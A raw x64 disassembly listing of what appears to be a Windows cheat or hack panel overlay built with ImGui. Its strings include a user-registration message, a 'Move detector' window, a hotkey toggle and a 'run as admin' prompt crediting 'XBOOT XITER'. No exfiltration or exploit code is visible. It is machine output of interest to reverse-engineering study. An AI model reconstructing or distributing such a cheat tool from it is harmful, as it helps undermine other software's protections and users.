movzx eax, word [reloc.WLDAP32.dll_Ordinal_32]
lea r9, [rsp + 0x60]
xorps xmm0, xmm0
mov qword [rbp + 0x280], recvfrom
movups xmmword [rbp + 0x270], xmm0
lea r8, [rbp + 0x6f8]
mov word [rbp + 0x278], ax
movsd xmm0, qword [str.no_name]
lea rdx, [rbp + 0x270]
movzx eax, byte [0x1400e753a]
mov byte [rbp + 0x27a], al
mov qword [rbp + 0x288], reloc.WS2_32.dll_ntohs
movsd qword [rbp + 0x270], xmm0
mov byte [rbp + 0x27b], r12b
movdqa xmmword [rsp + 0x60], xmm6
call fcn.14004bd10
lea rcx, [rbp + 0x190]
mov dword [0x140167838], r13d
call fcn.140056ad0
lea rax, [0x1400e6454]
lea rcx, [rbp + 0x7b8]
mov qword [rbp + 0x730], rax
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
xor r9d, r9d
lea rdx, [rbp + 0x738]
xor r8d, r8d
lea rcx, [rbp + 0x730]
or r15d, r13d
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
mov rax, qword [rbp + 0x730]
lea rsi, vtable.std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x730], rsi
mov rax, qword [rbp + 0x730]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x88]
mov dword [rbp + rcx + 0x72c], edx
lea rcx, [rbp + 0x738]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + 0x7a0], r12
lea rdx, str.USER_IS_REGESTER___n_n
mov qword [rbp + 0x738], rax
lea rcx, [rbp + 0x730]
mov dword [rbp + 0x7a8], 4
call fcn.14005f550
cmp qword [rbp + 0x1a8], 0xf
lea rdx, [rbp + 0x190]
mov r8, qword [rbp + 0x1a0]
mov rcx, rax
cmova rdx, qword [rbp + 0x190]
call fcn.140060c10
mov ecx, dword [rbp + 0x7a8]
xorps xmm0, xmm0
mov eax, ecx
mov qword [rbp + 0x3f0], r12
and al, 0x22
mov qword [rbp + 0x3f8], reloc.WS2_32.dll_ntohs
movups xmmword [rbp + 0x3e0], xmm0
mov byte [rbp + 0x3e0], r12b
movups xmmword [rbp + 0x5e0], xmm0
cmp al, 2
je 0x14005bc6d
lea rcx, [rbp + 0x738]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
test rax, rax
je 0x14005bc67
lea rcx, [rbp + 0x738]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbase_void_const___ptr64]
lea rcx, [rbp + 0x738]
mov rdi, rax
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
cmp rax, qword [rbp + 0x7a0]
lea rcx, [rbp + 0x738]
mov rbx, rax
cmovb rbx, qword [rbp + 0x7a0]
sub rbx, rdi
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::epptr_void_const___ptr64]
jmp 0x14005bcb7
mov ecx, dword [rbp + 0x7a8]
test cl, 4
jne 0x14005bca9
lea rcx, [rbp + 0x738]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gptr_void_const___ptr64]
test rax, rax
je 0x14005bca9
lea rcx, [rbp + 0x738]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::eback_void_const___ptr64]
lea rcx, [rbp + 0x738]
mov rdi, rax
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::egptr_void_const___ptr64]
mov rbx, rax
sub rbx, rdi
jmp 0x14005bcb7
mov rbx, qword [rbp + 0x5e8]
mov rdi, qword [rbp + 0x5e0]
test rdi, rdi
je 0x14005bcce
mov r8, rbx
lea rcx, [rbp + 0x3e0]
mov rdx, rdi
call fcn.14005ef30
lea rdx, [rbp + 0x3e0]
lea rcx, [0x140167540]
call fcn.140070170
mov rax, qword [rbp + 0x730]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x730], rsi
mov rax, qword [rbp + 0x730]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x88]
mov dword [rbp + rcx + 0x72c], edx
lea rcx, [rbp + 0x738]
call fcn.14005d9a0
lea rcx, [rbp + 0x740]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x7b8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 0xf
jbe 0x14005bd73
mov rcx, qword [rbp + 0x190]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005bd6e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005c3a9
call fcn.1400c5f6c
mov qword [rbp + 0x1a0], r12
mov qword [rbp + 0x1a8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x190], r12b
jmp 0x14005bddc
movups xmm6, xmmword [0x140144bb8]
lea rcx, [0x140167778]
call fcn.140046f00
mov rdx, rax
lea rcx, [rbp + 0xc08]
call fcn.140047000
lea rdx, str.no_name
mov rbx, rax
lea rcx, [rbp + 0xc88]
call fcn.140047000
lea r9, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm6
mov r8, rbx
mov rdx, rax
call fcn.14004bd10
call fcn.14000c330
call fcn.14004f790
call fcn.14004f490
call fcn.14004bea0
mov rcx, qword [0x140146120]
lea rdx, [rbp + 0xd8]
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rax, qword [rcx + 0x3ed0]
lea rcx, str.Move_detector
movss xmm1, dword [rax + 0x1c]
movss xmm0, dword [rax + 0x18]
subss xmm0, dword [rax + 0x7c]
subss xmm1, dword [rax + 0x80]
addss xmm0, xmm9
addss xmm1, xmm9
unpcklps xmm0, xmm1
movsd qword [rax + 0xf8], xmm0
mov byte [rax + 0x139], r13b
movss xmm0, dword [0x140144b00]
movss xmm1, dword [0x140144b04]
movss dword [rbp + 0xd8], xmm0
movss dword [rbp + 0xdc], xmm1
call fcn.1400392f0
mov rax, qword [0x140146120]
mov ecx, dword [rax + 0x3f30]
test ecx, ecx
je 0x14005bf20
cmp ecx, dword [rax + 0x476c]
jne 0x14005bf20
mov rcx, qword [0x140146248]
lea rdx, [0x140146258]
call qword [sym.imp.USER32.dll_GetWindowRect]
movss xmm6, dword [0x1400e8590]
lea rcx, [rbp + 0x870]
cvttss2si edi, dword [0x140144b04]
cvttss2si esi, dword [0x140144b00]
movaps xmm2, xmm6
call fcn.1400139b0
movd xmm0, dword [0x14014625c]
lea rcx, [rbp + 0x840]
cvtdq2ps xmm0, xmm0
movaps xmm2, xmm6
addss xmm0, dword [rax + 4]
cvttss2si ebx, xmm0
call fcn.1400139b0
mov r9d, esi
mov rcx, qword [0x140146248]
mov r8d, ebx
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], edi
movd xmm0, dword [0x140146258]
cvtdq2ps xmm0, xmm0
addss xmm0, dword [rax]
cvttss2si edx, xmm0
call qword [sym.imp.USER32.dll_MoveWindow]
call fcn.140011ad0
mov rdi, qword [0x140146248]
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x14005bf9d
lea rdx, str.SetWindowCompositionAttribute
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14005bf94
movdqa xmm0, xmmword [reloc.WS2_32.dll_closesocket]
lea rcx, [rbp + 0x820]
mov qword [rbp + 0x5d0], rcx
lea rdx, [rbp + 0x5c8]
mov rcx, rdi
mov dword [rbp + 0x5c8], reloc.WS2_32.dll_send
movdqu xmmword [rbp + 0x820], xmm0
mov dword [rbp + 0x5d8], reloc.WS2_32.dll_recv
call rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0xf
jbe 0x14005bfde
mov rcx, qword [rbp + 0x1d0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005bfd9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005c3a9
call fcn.1400c5f6c
mov rcx, qword [rbp - 0x68]
mov qword [rbp + 0x1e0], r12
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1d0], r12b
test rcx, rcx
je 0x14005c0ac
mov rsi, qword [rbp - 0x60]
cmp rcx, rsi
je 0x14005c06b
lea rbx, [rcx + 0x18]
mov rdx, qword [rbx]
cmp rdx, 0xf
jbe 0x14005c04b
mov rcx, qword [rbx - 0x18]
inc rdx
cmp rdx, 0x1000
jb 0x14005c046
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14005c3a9
mov rcx, r8
call fcn.1400c5f6c
mov qword [rbx - 8], r12
mov qword [rbx], reloc.WS2_32.dll_ntohs
mov byte [rbx - 0x18], r12b
add rbx, 0x20
lea rax, [rbx - 0x18]
cmp rax, rsi
jne 0x14005c011
mov rcx, qword [rbp - 0x68]
mov rdx, qword [rbp - 0x58]
mov rax, rcx
sub rdx, rcx
and rdx, 0xffffffffffffffe0
cmp rdx, 0x1000
jb 0x14005c09b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005c3a9
call fcn.1400c5f6c
xorps xmm0, xmm0
mov qword [rbp - 0x58], r12
movdqu xmmword [rbp - 0x68], xmm0
mov rdx, qword [rbp + 0x418]
cmp rdx, 0xf
jbe 0x14005c0ed
mov rcx, qword [rbp + 0x400]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005c0e8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005c3a9
call fcn.1400c5f6c
mov rdx, qword [rbp + 0x438]
mov qword [rbp + 0x410], r12
mov qword [rbp + 0x418], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x400], r12b
cmp rdx, 0xf
jbe 0x14005c147
mov rcx, qword [rbp + 0x420]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005c142
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005c3a9
call fcn.1400c5f6c
mov ecx, reloc.WLDAP32.dll_Ordinal_45
mov qword [rbp + 0x430], r12
mov qword [rbp + 0x438], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x420], r12b
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r13b, al
je 0x14005c17e
cmp byte [reloc.WS2_32.dll_accept], r12b
sete byte [0x140144af8]
mov rax, qword [0x140146120]
test rax, rax
jne 0x14005c1ab
mov r8d, 0xfe3
lea rdx, str.C:Usersce_pcDesktopFREE_PANELimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140146120]
movss xmm0, dword [rax + 0x18]
mov ecx, dword [0x1400fb110]
mulss xmm0, dword [0x1400e84a4]
cmp ecx, 0xff
jg 0x14005c1d4
cmp byte [reloc.WS2_32.dll_accept], r12b
mov eax, Ordinal_301
jne 0x14005c1d7
mov eax, r12d
sub eax, ecx
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm0
movd xmm0, ecx
cvtdq2ps xmm0, xmm0
addss xmm1, xmm0
cvttss2si r8d, xmm1
mov dword [0x1400fb110], r8d
cmp r8d, 0xff
jle 0x14005c214
mov dword [0x1400fb110], 0xff
mov r8d, 0xff
mov rcx, qword [0x140146248]
xor edx, edx
mov r9d, 2
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
cmp dword [0x1400fb110], r12d
mov edx, r12d
mov rcx, qword [0x140146248]
mov eax, 5
cmovg edx, eax
call qword [sym.imp.USER32.dll_ShowWindow]
call fcn.14000b7f0
mov rcx, qword [0x14016bbc0]
lea r8, [0x14016bba8]
xorps xmm0, xmm0
xor r9d, r9d
movups xmmword [rbp + 0x830], xmm0
mov edx, r13d
mov rax, qword [rcx]
call qword [rax + 0x108]
mov rcx, qword [0x14016bbc0]
lea r8, [rbp + 0x830]
mov rdx, qword [0x14016bba8]
mov rax, qword [rcx]
call qword [rax + 0x190]
mov rbx, qword [0x140146120]
cmp dword [rbx + 0x48a0], r12d
jg 0x14005c2bc
mov r8d, 0x6fc
lea rdx, str.C:Usersce_pcDesktopFREE_PANELimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x48a8]
mov rcx, qword [rax]
mov rax, r12
add rcx, 0x48
cmp byte [rcx], r12b
cmovne rax, rcx
mov rcx, rax
call fcn.140048650
mov rcx, qword [0x14016bbb0]
xor r8d, r8d
mov edx, r13d
mov rax, qword [rcx]
call qword [rax + 0x40]
jmp 0x140057bf8
call fcn.1400498d0
call fcn.140049bc0
call fcn.140006870
call fcn.14004fe00
mov rcx, qword [0x140146248]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x348]
mov rcx, qword [rbp + 0x370]
call qword [sym.imp.USER32.dll_UnregisterClassW]
xor eax, eax
jmp 0x140057588
mov ecx, 6
mov dword [rbp + 0x128], r12d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x138], r12d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x148], r12d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x158], r12d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x108], r12d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0xe8], r12d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.14004fe00
mov rdx, qword [rbp + 0x348]
mov rcx, qword [rbp + 0x370]
call qword [sym.imp.USER32.dll_UnregisterClassW]
jmp 0x140057585
mov ecx, r13d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0xf8], r12d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
xor r9d, r9d
lea rdx, str.Run_the_program_as_admin_By_XBOOT_XITER
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.14004bc10
int3
call fcn.140002ec0
int3